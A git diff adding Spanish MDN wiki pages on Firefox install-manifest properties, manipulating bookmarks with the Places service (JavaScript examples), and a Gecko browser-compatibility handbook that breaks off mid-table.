+     &lt;!-- Lightning --&gt;
+     &lt;em:id&gt;{e2fda1a4-762b-4020-b5ad-a41df1933103}&lt;/em:id&gt;
+     &lt;em:minVersion&gt;0.5pre&lt;/em:minVersion&gt;
+     &lt;em:maxVersion&gt;0.5pre&lt;/em:maxVersion&gt;
+   &lt;/Description&gt;
+ &lt;/em:requires&gt;
+</pre>
+
+<p><strong>Notas</strong></p>
+
+<ul>
+ <li>Actualmente, únicamente <code>&lt;em:id&gt;</code>, <code>&lt;em:minVersion&gt;</code>, <code>&lt;em:maxVersion&gt;</code> son analizadas dentro del apartado <code>&lt;em:requires&gt;</code>.</li>
+ <li>No es posible actualmente agregar dependencias que sean especificas para un <code>&lt;em:targetApplication&gt;</code>. Véase <a class="external" href="http://wiki.mozilla.org/Extension_Manager:Extension_Dependencies" rel="external nofollow" title="http://wiki.mozilla.org/Extension_Manager:Extension_Dependencies">wikimo:Administrador de Extensiones: Dependencias de Extensiones</a> para más detalles.</li>
+</ul>
+
+<p>Esta propiedad fué agregada para Firefox/Thunderbird 2. Versiones previas de estas aplicaciones ignorarán las restricciones e instalarán el complemento/agregado a pesar de los requisitos.</p>
+
+<p> </p>
+
+<h3 id="Referencia_de_Propiedades_Obsoletas" name="Referencia_de_Propiedades_Obsoletas">Referencia de propiedades obsoletas</h3>
+
+<p>Estas propiedades eran requeridas en viejas versiones del administrador de complementos/agregados, pero han sido reemplazadas por nuevos y mejores mecanismos.</p>
+
+<h4 id="file" name="file">file</h4>
+
+<p><strong>Firefox 1.0</strong> Esta propiedad apunta a un archivo chrome <code>.jar</code> que contiene paquetes chrome que requieren ser registrados con el registro de chrome.</p>
+
+<p>La propiedad <code>&lt;em:file&gt;</code> tiene un complejo valor de objeto. El <em>uri</em>(Uniform Resource Identifier - Identificador Uniforme de Recurso) del valor es <code>urn:mozilla:extension:file:jarFile.jar</code> donde <code>jarFile.jar</code> es el nombre del archivo jar que contiene el paquete de archivos de chrome. Este podría ser también el nombre de un directorio que contiene los archivos del paquete chrome, des-<em>jar</em>eado (e.g. <code>urn:mozilla:extension:file:directory</code>). En todo caso, el referido paquete de archivos chrome debe estar ubicado en el subdirectorio <code>chrome</code> de los XPI.</p>
+
+<p>Este objeto tiene una propiedad <code>package</code> (con una ruta dentro del archivo jar o del directorio que lleva a la ubicación del archivo <code>contents.rdf</code> que es el responsable del registro del paquete), una propiedad <code>locale</code> (ídem, pero registra el locale) y una propiedad <code>skin</code> (ídem, pero para registrar el material del tema).</p>
+
+<p>En extensiones para Firefox 1.5, esta propiedad ya no es necesaria: el <code><a href="/es/Chrome_Registration" title="es/Chrome_Registration">chrome.manifest</a></code> en el nivel más alto del XPI es usado para ubicar el chrome a registrar. Si no hay chrome.manifest, esta propiedad es aún leída por el administrador de complementos/agregados y un chrome.manifest es generado a partir del antiguo archivo contents.rdf.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:file&gt;
+ &lt;Description about="urn:mozilla:extension:file:myext.jar"&gt;
+  &lt;em:package&gt;content/myext/&lt;/em:package&gt;
+  &lt;em:locale&gt;locale/en-US/myext/&lt;/em:locale&gt;
+  &lt;em:skin&gt;skin/classic/myext/&lt;em:skin&gt;
+ &lt;/Description&gt;
+&lt;/em:file&gt;
+</pre>
+
+<p>Un manifiesto de instalador puede especificar múltiples propiedades <code>file</code>; una para cada archivo jar o subdirectorio que contenga el chrome a registrar.</p>
+
+<h3 id="Glosario" name="Glosario">Glosario</h3>
+
+<h3 id="Acceso_de_.C3.A1rea_restringida" name="Acceso_de_.C3.A1rea_restringida">Acceso de área restringida</h3>
+
+<p>Un <em>Area de Acceso Restringido</em> es una ubicación para instalar que puede estar restringida en una cuenta de acceso-restringido, no importando si la ubicación está restringida aún con los privilegios del usuario actual.  (véase <span class="lang lang-en"><a class="external" href="http://mxr.mozilla.org/mozilla-central/source/toolkit/mozapps/extensions/public/nsIExtensionManager.idl#80" rel="external nofollow" title="http://mxr.mozilla.org/mozilla-central/source/toolkit/mozapps/extensions/public/nsIExtensionManager.idl#80">nsIInstallLocation::restricted</a> </span>). Actualmente, la carpeta <code>$APPDIR)/extensions</code> y la ubicación del registro de instalación bajo <code>HKEY_LOCAL_MACHINE</code> (véase <a href="../../../../en/Adding_Extensions_using_the_Windows_Registry" rel="internal">Agregando Extensiones usando el Registro de Windows</a> (para detalles) están restringidas.</p>
+
+<p>Las ubicaciones de instalación <code>($PROFILE)/extensions</code> y <code>HKEY_CURRENT_USER</code>, por otro lado no están restringidas.</p>
diff --git a/files/es/manipular_marcadores_usando_el_catálogo/index.html b/files/es/manipular_marcadores_usando_el_catálogo/index.html
new file mode 100644
index 0000000000..64571624cd
--- /dev/null
+++ b/files/es/manipular_marcadores_usando_el_catálogo/index.html
@@ -0,0 +1,123 @@
+---
+title: Manipular marcadores usando el catálogo
+slug: Manipular_marcadores_usando_el_catálogo
+tags:
+  - Places
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Places/Manipulating_bookmarks_using_Places
+---
+<p></p>
+
+<p>The Places bookmarks service, provided by the <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavBookmarksService" title="">nsINavBookmarksService</a></code> interface, provides methods for creating, deleting, and manipulating bookmarks and bookmark folders. This article offers examples for how to perform common bookmark management tasks using the bookmarks service.</p>
+
+<h3 id="Initiating_the_bookmarks_service" name="Initiating_the_bookmarks_service">Initiating the bookmarks service</h3>
+
+<p>As is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it:</p>
+
+<pre class="eval">var bmsvc = Components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]
+                      .getService(Components.interfaces.nsINavBookmarksService);
+</pre>
+
+<h3 id="Creating_a_bookmark_folder" name="Creating_a_bookmark_folder">Creating a bookmark folder</h3>
+
+<p>Creating a new bookmark folder is done using the <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsINavBookmarksService#createFolder()">nsINavBookmarksService.createFolder()</a></code> method. For example, to create a new folder in the Bookmarks menu:</p>
+
+<pre class="eval">var menuFolder = bmsvc.bookmarksMenuFolder; // Bookmarks menu folder
+var newFolderId = bmsvc.createFolder(menuFolder, "Folder name here", -1);
+</pre>
+
+<p>This code locates the Bookmarks menu's folder, then creates a new folder named "Folder name here" in it. Specifying -1 as the index at which to insert the new folder places it at the end of the list.</p>
+
+<p>You can easily change this code to insert the new folder into the bookmarks toolbar by changing <code>bookmarksMenuFolder</code> to <code>toolbarFolder</code>.</p>
+
+<h3 id="Creating_a_new_bookmark" name="Creating_a_new_bookmark">Creating a new bookmark</h3>
+
+<p>To create a new bookmark, use the <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsINavBookmarksService#insertBookmark()">nsINavBookmarksService.insertBookmark()</a></code> method. The URI for the bookmark needs to be specified using an <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIURI" title="">nsIURI</a></code> object.</p>
+
+<pre class="eval">var ios = Components.classes["@mozilla.org/network/io-service;1"]
+                    .getService(Components.interfaces.nsIIOService);
+var uri = ios.newURI(<span class="nowiki">"http://google.com/"</span>, "", "");
+var newBkmkId = bmsvc.insertBookmark(newFolderId, uri, -1, "");
+</pre>
+
+<p>This example instantiates the IO service and uses it to create an <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIURI" title="">nsIURI</a></code> referring to the Google web site, then calls <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsINavBookmarksService#insertBookmark()">nsINavBookmarksService.insertBookmark()</a></code> to create a new bookmark to Google, placing it at the end of the bookmarks folder referenced by newFolderId.</p>
+
+<h3 id="Finding_bookmark_items" name="Finding_bookmark_items">Finding bookmark items</h3>
+
+<p>If you know the URI of a site and wish to find all bookmarks that link to it, you can use the <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsINavBookmarksService#getBookmarkIdsForURI()">nsINavBookmarksService.getBookmarkIdsForURI()</a></code> method.</p>
+
+<pre class="eval">var ios = Components.classes["@mozilla.org/network/io-service;1"]
+                    .getService(Components.interfaces.nsIIOService);
+var uri = ios.newURI(<span class="nowiki">"http://google.com/"</span>, "", "");
+var bookmarksArray = bmsvc.getBookmarkIdsForURI(uri, {});
+</pre>
+
+<p>After executing this code, the array bookmarksArray contains the IDs of all bookmarks that refer to the specified URI (in this case, <span class="nowiki">"http://google.com"</span>).</p>
+
+<h3 id="Manipulating_existing_items" name="Manipulating_existing_items">Manipulating existing items</h3>
+
+<p>There are a number of convenient methods you can use to make changes to existing bookmarks and bookmark folders. This section covers some of them.</p>
+
+<h4 id="The_item_title" name="The_item_title">The item title</h4>
+
+<p>To change the title of a bookmark or bookmark folder, you use the <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsINavBookmarksService#setItemTitle()">nsINavBookmarksService.setItemTitle()</a></code> method.</p>
+
+<pre class="eval">bmsvc.setItemTitle(newBkmkId, "New title");
+</pre>
+
+<p>This sets the title of the item referenced by the ID newBkmkId to "New title".</p>
+
+<p>You can fetch the current title of an item using the <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsINavBookmarksService#getItemTitle()">nsINavBookmarksService.getItemTitle()</a></code> method:</p>
+
+<pre class="eval">var thisTitle = bmsvc.getItemTitle(newBkmkId);
+alert(thisTitle);
+</pre>
+
+<p>This code will display an alert containing the title of the item referenced by the ID newBkmkId.</p>
+
+<h4 id="The_item_URI" name="The_item_URI">The item URI</h4>
+
+<p>Similarly, you can obtain the URI corresponding to a given bookmark item by calling the <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsINavBookmarksService#getBookmarkURI()">nsINavBookmarksService.getBookmarkURI()</a></code> method.</p>
+
+<pre class="eval">var thisURI = bmsvc.getBookmarkURI(newBkmkId);
+alert(thisURI.spec);
+</pre>
+
+<p>Assuming you've run all the code samples previous to this one, this will output <span class="nowiki">"http://google.com"</span>.</p>
+
+<p>You can use the <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsINavBookmarksService#changeBookmarkURI()">nsINavBookmarksService.changeBookmarkURI()</a></code> method to update the URI for a given bookmark item:</p>
+
+<pre class="eval">uri = ios.newURI(<span class="nowiki">"http://mozilla.com/"</span>, "", "");
+bmsvc.changeBookmarkURI(newBkmkId, uri);
+</pre>
+
+<p>This example changes the bookmark to refer to the Mozilla web site instead of Google.</p>
+
+<p></p><div class="blockIndicator note"><strong>Nota:</strong> All annotations, tags, and so forth are kept when the bookmark's URI is changed.</div><p></p>
+
+<h3 id="Checking_to_see_if_a_URI_is_bookmarked" name="Checking_to_see_if_a_URI_is_bookmarked">Checking to see if a URI is bookmarked</h3>
+
+<p>If you want to see if a given URI is already bookmarked -- for example, to avoid creating a new bookmark for a site that's already bookmarked -- you can use the <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsINavBookmarksService#isBookmarked()">nsINavBookmarksService.isBookmarked()</a></code> method.</p>
+
+<pre class="eval">if (!bmsvc.isBookmarked(<span class="nowiki">"http://www.mozilla.com"</span>)) {
+  var uri = ios.newURI(<span class="nowiki">"http://mozilla.com/"</span>, "", "");
+  bmsvc.insertBookmark(bmsvc.toolbarFolder, uri, -1, "Mozilla");
+}
+</pre>
+
+<p>This example looks to see if the user already has a bookmark for the Mozilla web site, and, if not, creates one, adding it to the user's bookmarks toolbar.</p>
+
+<h3 id="Finding_the_folder_containing_an_item" name="Finding_the_folder_containing_an_item">Finding the folder containing an item</h3>
+
+<p>If you need to know what folder contains an item (this can be especially handy after using <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsINavBookmarksService#getBookmarkIdsForURI()">nsINavBookmarksService.getBookmarkIdsForURI()</a></code> to find bookmarks for a given URI), you can use the <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsINavBookmarksService#getFolderIdForItem()">nsINavBookmarksService.getFolderIdForItem()</a></code> method.</p>
+
+<pre class="eval">var parentFolderId = bmsvc.getFolderIdForItem(newBkmkId);
+</pre>
+
+<h3 id="See_also" name="See_also">See also</h3>
+
+<ul>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavBookmarksService" title="">nsINavBookmarksService</a></code></li>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavBookmarkObserver" title="">nsINavBookmarkObserver</a></code></li>
+ <li><a href="es/Places">Places</a></li>
+</ul>
diff --git a/files/es/manual_de_compatibilidad_de_gecko/index.html b/files/es/manual_de_compatibilidad_de_gecko/index.html
new file mode 100644
index 0000000000..94de3fec69
--- /dev/null
+++ b/files/es/manual_de_compatibilidad_de_gecko/index.html
@@ -0,0 +1,187 @@
+---
+title: Manual de Compatibilidad de Gecko
+slug: Manual_de_Compatibilidad_de_Gecko
+tags:
+  - Desarrollo_Web
+  - Desarrollo_entre_navegadores
+  - Gecko
+  - NecesitaRevisiónTécnica
+  - Todas_las_Categorías
+translation_of: Archive/Mozilla_Gecko_Compatibility_Handbook
+---
+<p> </p>
+<p><br>
+El objetivo de este manual es ayudar a poner al día vuestros sitios web para que funcionen en los navegadores respetando los estándares del Web y que detecten correctamente a <a href="/es/Gecko" title="es/Gecko">Gecko</a>.</p>
+<p>Si desconocéis los estándares del Web, el artículo <a href="/es/Utilización_de_estándares_en_vuestras_páginas_web" title="es/Utilización_de_estándares_en_vuestras_páginas_web">Utilización de estándares en vuestras páginas web</a> constituye una introducción útil. (<small><a href="/en/Using_Web_Standards_in_Your_Web_Pages">en inglés</a></small>)</p>
+<p>Gecko es un navegador ajustable, desarrollado como parte del proyecto de código abierto <a class="external" href="http://www.mozilla.org/">Mozilla</a> y basado más bien en las <a class="external" href="http://www.w3.org/">normas del W3C</a> que en los códigos propietarios típicos del pasado. Respetar los estándares/normas/pautas del Web simplifica la interacción de los navegadores en el desarrollo y permite la accesibilidad <a class="external" href="http://www.mozilla.org/access/(en)"></a>.</p>
+<h3 id="4.x_contra_Gecko">4.x contra Gecko</h3>
+<p>Desde 1997, numerosos sitios Internet se han concebido para funcionar con Microsoft Internet Explorer 4 o con Netscape Navigator 4. Éstos navegadores fueron desarrollados antes de existir las recomendaciones del <a class="external" href="http://www.w3.org/">W3C</a> para <a href="/es/HTML" title="es/HTML">HTML</a> (lenguaje para el formato de hipertextos), <a href="/es/CSS" title="es/CSS">CSS</a> (hojas de estilo en cascada) y <a href="/es/DOM" title="es/DOM">DOM</a> (modelo de objetos del documento).</p>
+<p>Éstos navegadores más antiguos, sin estándares del Web, se diferencian de Gecko en numerosos puntos:</p>
+<p><strong>Los navegadores antiguos</strong></p>
+<ul> <li>Utilizan códigos <a href="/es/HTML" title="es/HTML">HTML</a>, <a href="/es/CSS" title="es/CSS">CSS</a> y <a href="/es/JavaScript" title="es/JavaScript">JavaScript</a> propietarios (no estándares).</li> <li>Internet Explorer 4 y Netscape Navigator 4 ofrecen los dos ayuda para la mayoría de estándar HTML 3.2 y JavaScript de base.</li> <li>Aún que soportan en cierta medida el estándar CSS 1, su puesta en marcha no se completa y tienen funcionalidades adicionales no estándares.</li> <li>Ni Internet Explorer 4 ni Netscape Navigator 4 aguantan el <a href="/es/DOM" title="es/DOM">DOM</a> del W3C. En lugar de eso, cada uno tiene su propia "API" propietaria de manipulación de contenido, del estilo y de la posición de los elementos HTML en una página web.</li> <li>Además, usan métodos completamente diferentes para integrar programas de terceros en sus navegadores.</li>
+</ul>
+<p><strong>Gecko</strong> es un motor de presentación "multiplataforma" compatible con un gran número de versiones de Windows, como Windows XP, Mac OS y Linux. Por esta pluralidad, sus funcionalidades son en general idénticas sea cual sea el soporte usado, al contrario de las versiones de Internet Explorer para Mac e Internet Explorer para Windows que son programas distintos y pueden entonces comportarse de maneras muy diferentes.</p>
+<h3 id="Prueba_rápida_de_compatibilidad">Prueba rápida de compatibilidad</h3>
+<p>Si vuestro sitio trabaja con las tecnologías propietarias de Netscape 4.x y de Microsoft, consulten el artículo <a href="/es/Utilización_de_estándares_en_vuestras_páginas_web" title="es/Utilización_de_estándares_en_vuestras_páginas_web">siguiente</a> para conocer rápidamente los principios generales de estas normas. Éste test de compatibilidad será mucho más benéfico para los sitios que utilicen un código simple o que estén en fase de modificación para soportar los estándares.</p>
+<h4 id="Preparación_de_los_navegadores_para_la_prueba">Preparación de los navegadores para la prueba</h4>
+<p>No todos los navegadores que utilizan Gecko contienen <code>Firefox</code> ou <code>Netscape</code> en su cadena <a href="/es/Cadenas_del_User_Agent_de_Gecko" title="es/Cadenas_del_User_Agent_de_Gecko">"user-agent"</a>. Es importante, entonces, verificar que se detectan correctamente navegadores como AOL para Mac OS X.</p>
+<p>Se pueden <a class="external" href="http://www.mozilla.org/download.html">descargar</a> varios navegadores de Mozilla. O, si se utiliza la detección de "user-agent", instalar una extensión para Firefox o Mozilla que permitirá «simular» las cadenas "user-agent" de éstos navegadores Gecko. Aquí tiene como hacerlo:</p>
+<ul> <li>1) Abrir <a class="external" href="http://www.mozilla.org/projects/seamonkey/">SeaMonkey</a>, <a class="external" href="http://www.getfirefox.com/">Firefox</a> o la antigua suite <a class="external" href="http://www.mozilla.org/products/mozilla1.x/">Mozilla</a>. La ventaja de utilizar éstos navegadores es que detectando <strong>únicamente</strong> las cadenas <code>Netscape</code> o <code>Netscape6</code>, se llega directamente a los eventuales problemas.</li> <li>2) Instalar la extensión <a class="link-https" href="https://addons.mozilla.org/firefox/59/">User Agent Switcher (en)</a>.</li> <li>3) Después de arrancar de nuevo el navegador hay que poner las cadenas "user-agent" de las cuales se desea probar la detección. (<code>Herramientas --&gt; User Agent Switcher --&gt; Options --&gt; Options… --&gt; User Agents --&gt; Add…</code>).</li>
+</ul>
+<p><span>Nota: he dejado lo anterior en inglés porque la extensión lo saca así, si lo ponemos en español habrá gente que se preguntará: dónde es que tengo que picar?</span></p>
+<p>Una vez completado el cuadro de diálogo (debería parecerse a lo de abajo), Aceptar y cerrar la ventana «Options». Parece que el enlace no funciona, se puede mirar en <a class="external" href="http://developer.mozilla.org/en/docs/Gecko_Compatibility_Handbook">el original</a> <br>
+[Image:GeckoCompatibilityHandbook-Configure-UASwitcher.PNG]</p>
+<ul> <li>4) Ya puede empezar a utilizar la cadena "User-Agent" que acaba de crear: <code>Herramientas --&gt; User Agent Switcher --&gt; <em>El nombre que ha elegido</em></code>. Puede verificar que la cadena a cambiado en: <code>Help --&gt; About</code> (Ayuda --&gt; Acerca de …)</li>
+</ul>
+<p>Encontrará las cadenas "user-agent" de los navegadores basados en Gecko, <a href="/es/Cadenas_del_User_Agent_de_Gecko" title="es/Cadenas_del_User_Agent_de_Gecko">aquí</a>. Lo mejor y si es posible, descargue también los diferentes navegadores para probarlos individualmente.</p>
+<h4 id="Repasando_los_resultados">Repasando los resultados</h4>
+<p>Los siguientes temas tienen relación con la detección de los navegadores. Para más soluciones de problemas corrientes, <strong>siga leyendo</strong>.</p>
+<h5 id="Problema_1_El_sitio_respeta_los_estándares_Web_pero_no_se_muestra_correctamente"><strong>Problema 1</strong>: <em>El sitio respeta los estándares Web pero no se muestra correctamente</em></h5>
+<ul> <li>Pruebe de utilizar la cadena user-agent de Internet Explorer 6.</li> <li>Si funciona, use los parámetro de la detección para dar el contenido IE 6 a los visitantes que tienen <code>Gecko</code> en sus cadenas user-agent. IE 6.x es actualmente mucho más parecido a los navegadores Gecko que Netscape 4.x, debido a una mejor ayuda de los estándares del W3C.</li>
+</ul>
+<h5 id="Problema_2_El_sitio_certificado_Netscape_6.x_se_muestra_incorrectamente_en_los_otros_navegadores"><strong>Problema 2</strong>: <em>El sitio certificado Netscape 6.x se muestra incorrectamente en los otros navegadores</em></h5>
+<ul> <li>Si su sitio ya es compatible con Gecko, pruebe de volver a una cadena "user-agent" de Netscape 6. Si es más o menos aceptable, probablemente sólo detectará <code>Netscape</code> o <code>Netscape6</code>.</li> <li>Detectar <code>Gecko</code> en su lugar es la vía más fácil para mejorar la comodidad de los usuarios de Mozilla, SeaMonkey, CompuServe 7, etc. <small>(<a href="/es/Detección_del_navegador_y_cobertura_a_múltiples_navegadores" title="es/Detección_del_navegador_y_cobertura_a_múltiples_navegadores">Artículo relacionado</a>), <a href="/en/Browser_Detection_and_Cross_Browser_Support">en inglés</a></small></li>
+</ul>
+<h5 id="Problema_3_El_sitio_no_funciona_bien_en_todos_los_navegadores_Gecko"><strong>Problema 3</strong>: <em>El sitio no funciona bien en todos los navegadores Gecko</em></h5>
+<p>Si todavía tiene problemas, puede consultar la sección de <a href="#Referencias_en_caso_de_problemas">soluciones</a> rápidas de este manual. Además, si usa tecnologías propietarias de Netscape 4.x y/o de Microsoft, puede leer <a href="/es/Utilización_de_estándares_en_vuestras_páginas_web" title="es/Utilización_de_estándares_en_vuestras_páginas_web">esto</a> para saber rápidamente qué diferencias hay en Gecko.</p>
+<h3 id="Problemas_con_AOL_o_CompuServe">Problemas con AOL o CompuServe</h3>
+<p>Aunque su sitio se muestra correctamente en Netscape 7.x, es <strong>importante</strong> que lo pruebe también en <a class="external" href="http://www.aol.com/">AOL pour Mac OS X</a> y en <a class="external" href="http://www.compuserve.com/">CompuServe 7</a> para verificar la <a href="/es/Detección_del_navegador_y_cobertura_a_múltiples_navegadores" title="es/Detección_del_navegador_y_cobertura_a_múltiples_navegadores">detección del navegador</a> <small>(<a href="/en/Browser_Detection_and_Cross_Browser_Support">en inglés</a>)</small> y los posibles problemas de red.</p>
+<h4 id="Prueba_de_AOL_detrás_de_un_corta-fuego">Prueba de AOL detrás de un corta-fuego</h4>
+<p>Si debe conectarse a AOL detrás de un corta-fuego, América Online ha abierto los puertos TCP/IP 5.190 y 11.523 para que pueda comunicarse con el servidor de AOL. De esta forma podrá probar su sitio detrás de un corta-fuego, siempre y cuando el administrador de redes haya abierto estos puertos.</p>
+<p>Tiene que estar conectado a Internet para hacer la prueba de vuestro sitio en AOL; es imposible acceder al sitio en una máquina local vía red local (LAN) sin una conexión Internet. Para más información, ver: <a class="external" href="http://webmaster.aol.com/">Webmaster@AOL (en)</a>.</p>
+<h3 id="Referencias_en_caso_de_problemas">Referencias en caso de problemas</h3>
+<p>Como se explica en <a href="/es/Utilización_de_estándares_en_vuestras_páginas_web" title="es/Utilización_de_estándares_en_vuestras_páginas_web">Utilización de estándares en vuestras páginas web</a>, es necesario escribir la codificación estándar para el buen funcionamiento y la obtención de compatibilidad entre los navegadores Gecko, Netscape 4 y IE .</p>
+<table class="standard-table"> <tbody> <tr> <th>Síntoma</th> <th>Posible problema</th> <th>Solución</th> </tr> <tr> <td>El sitio se muestra correctamente en Netscape 6.x pero no en Netscape 7.x u otros navegadores Gecko.</td> <td>La detección del navegador por JavaScript encuentra a Netscape 6.x pero no a los otros navegadores Gecko.</td> <td> <ul> <li>Actualice el detector de navegador de JavaScript para que encuentre a «Gecko». (<a href="/es/Detección_del_navegador_y_cobertura_a_múltiples_navegadores" title="es/Detección_del_navegador_y_cobertura_a_múltiples_navegadores">Artículo relacionado</a>) <small>(<a href="/en/Browser_Detection_and_Cross_Browser_Support">en inglés</a>)</small>.</li> </ul> </td> </tr> <tr> <td>El contenido se presenta diferentemente en los navegadores Gecko e Internet Explorer.</td> <td>La utilización de códigos propietarios o inválidos (como los generados por varias aplicaciones de Microsoft Office).</td> <td> <ul> <li>Use las <a href="/es/Herramientas" title="es/Herramientas">herramientas</a> de validación de HTML y CSS del W3C para convalidar la página web. Corrija los errores y reemplace los códigos propietarios donde sea posible.</li> <li>Actualice las herramientas de edición web con versiones respetuosas de las normas W3C y de los navegadores Gecko.</li> </ul> </td> </tr> <tr> <td>El contenido se presenta diferentemente en los navegadores Gecko e Internet Explorer.</td> <td>La consola JavaScript en Netscape, Mozilla o Firefox muestra errores relacionados con: <code>document.all</code> <small><em>(todo el documento)</em></small>, <code>document.layers</code> <small><em>(capas del documento)</em></small>, <code>document.<em>&lt;propiedades&gt;</em></code> los cuales no son definidos a causa de una mala detección del navegador o por la utilización de JavaScript propietario.</td> <td> <ul> <li><strong>Actualice</strong>:</li> </ul> <ol> <li>la <a href="/es/Detección_del_navegador_y_cobertura_a_múltiples_navegadores" title="es/Detección_del_navegador_y_cobertura_a_múltiples_navegadores">detección del navegador</a> para encontrar correctamente los navegadores Gecko.</li> <li>los "API" para utilizar versiones más recientes conformes a los estándares.</li> <li>vuestras herramientas de edición web con versiones que funcionen bien con las normas W3C y los navegadores Gecko.</li> </ol> </td> </tr> <tr> <td>El contenido se muestra diferentemente en los navegadores Gecko e Internet Explorer.</td> <td> <ul> <li>Su hoja de estilo (<a href="/es/CSS" title="es/CSS">CSS</a>) está trabajando con el código de la CSS de Internet Explorer.</li> <li>Internet Explorer no es sensible a los nombres de ID (Identificación) y de CLASS (Clases) mientras que los navegadores Gecko los identifica y trata como lo que son, con sentido. Una utilización inconsistente de estos nombres (ID y CLASS) en la hoja de estilo y en los elementos HTML provocará la <strong>no aplicación</strong> de los estilos en los navegadores Gecko.</li> <li>Internet Explorer indica inexactamente la altura y ancho de los elementos lineales, por ejemplo <code>SPAN</code>.</li> <li>Internet Explorer ejecuta incorrectamente el modelo de caja CSS (<code>padding</code>, <code>margin</code>-<em><small>margen</small></em>, <code>border</code>-<em><small>bordes</small></em>).</li> </ul> </td> <td> <p>Es recomendable: <strong>NO</strong></p> <ul> <li>utilizar códigos inválidos de las hojas de estilos de Internet Explorer.</li> <li>definir altos y anchos de los elementos lineales como <code>span</code></li> </ul> <p><strong>Pero sí:</strong></p> <ul> <li>usar únicamente la interacción entre navegadores, las funciones y los modelos de caja CSS estándares.</li> <li>especificar de la misma forma los nombres de clase (CLASS) y de identificación (ID) en HTML que en las hojas de estilo.</li> </ul> </td> </tr> <tr> <td>El contenido se presenta diferentemente en los navegadores Gecko e Internet Explorer.</td> <td>Órdenes incorrectas sobre la manera de interpretar el modo de disposición en DOCTYPE (tipo de documento).</td> <td> <ul> <li>Si las páginas deben mostrarse en viejas versiones de navegadores, como Netscape Navigator 4 o Internet Explorer 4 y 5, <strong>no se olvide</strong> de especificar, en el <a href="/es/El_detector_de_tipo_de_documento_en_Mozilla" title="es/El_detector_de_tipo_de_documento_en_Mozilla">tipo de documento</a>, la forma en la cual los navegadores tienen que actuar: estándar, estricta o aleatoria. (<a href="/en/Mozilla's_Quirks_Mode">quirks mode (en)</a>).</li> </ul> </td> </tr> <tr> <td>Las imágenes aparecen sin áreas blancas entre ellas con Internet Explorer pero sí con unas en los navegadores Gecko.</td> <td>Órdenes incorrectas sobre la manera de interpretar el modo de disposición en el tipo de documento <small>(DOCTYPE)</small></td> <td> <ul> <li>Los modos de disposición estándares han sido pedidos por la orden escrita en el tipo de documento. Cambie ese tipo de documento de manera que trabaje con las órdenes correctas de interpretación. <a href="/es/Imágenes,_tablas_y_huecos_misteriosos" title="es/Imágenes,_tablas_y_huecos_misteriosos">Más información</a>.</li> </ul> </td> </tr> <tr> <td>Al picar un enlace devuelve el error 404-la página no se ha encontrado, pero sí funciona con Internet Explorer.</td> <td>El enlace utiliza posiblemente una forma inválida de URL relativa.</td> <td> <ul> <li>Cambie las URLs relativas <code><span>http://directory/...</span></code> por <code><span>directory/...</span></code> o utilice direcciones absolutas como <code><span>http://example.com/directory/...</span></code></li> <li>Verifique que todos los hiper-enlaces contienen las barras oblicuas en el sentido correcto (/).</li> </ul> </td> </tr> <tr> <td>Al picar un enlace dispara una descarga o muestra directamente el código HTML en lugar de presentar la página correctamente, pero sí lo hace de forma prevista con Internet Explorer</td> <td>El servidor web especifica incorrectamente el tipo MIME del contenido. Internet Explorer intenta adivinar este tipo MIME en los documentos cuando los navegadores Gecko confían en el servidor web para conocer el buen tipo MIME. Gecko no intenta leer el tipo MIME de un documento para reducir las posibilidades de procesar contenidos poco seguros o peligrosos enmascarados como un tipo MIME seguro.</td> <td> <ul> <li>Aproveche la utilidad HEAD de Perl o PHP para determinar el tipo MIME real usado por el servidor Web. Corrija todos los tipos incorrectos en el servidor. (<a href="/es/Tipo_MIME_incorrecto_en_archivos_CSS" title="es/Tipo_MIME_incorrecto_en_archivos_CSS">Artículo relacionado</a>).</li> </ul> </td> </tr> <tr> <td>La hoja de estilo no es reconocida.</td> <td>La presencia de un atributo <code>title</code> en un enlace <code>link</code> que se refiere a un hoja de estilo externa puede hacer que la CSS sea ignorada.</td> <td> <ul> <li>Asegúrese que todas las hojas de estilo sean aplicadas de manera persistente antes que sólo preferidas. (<a href="/es/Uso_correcto_de_los_títulos_con_hojas_de_estilo_externas" title="es/Uso_correcto_de_los_títulos_con_hojas_de_estilo_externas">Artículo relacionado</a>).</li> </ul> </td> </tr> <tr> <td>Falla la conexión a un sitio seguro con un navegador Gecko, pero funciona con Internet Explorer.</td> <td>El servidor web no empieza correctamente la ejecución de la negociación para SSL.</td> <td> <ul> <li>El administrador del servidor web debe actualizar su programa de servicio seguro.</li> <li>Para navegar en un sitio con ejecución defectuosa de SSL, los visitantes deberán desactivar el protocolo TLS en Netscape 6/7 o Mozilla hasta que el sitio este actualizado con versiones que lo aceptan.</li> </ul> </td> </tr> <tr> <td>Los menús DHTML usando HierMenu tienen problemas.</td> <td> <p>La versión de HierMenu es obsoleta.</p> <ul> <li>Las más antiguas soportan sólo Netscape Navigator 4.x, Internet Explorer 4.x y siguientes.</li> <li>Las un poco más recientes: Netscape 6 y a partir de Netscape 6.1 y posteriores, la ayuda de las propiedades propietarias <code>offsetXXX</code> de Internet Explorer hace que HierMenu ponga unas ventanas emergentes (<em>popups</em>) en posiciones equivocadas.</li> <li>Las últimas versiones de HierMenu funcionan plenamente en todos los navegadores Gecko.</li> </ul> </td> <td> <ul> <li>Actualice con la versión más reciente de <a class="external" 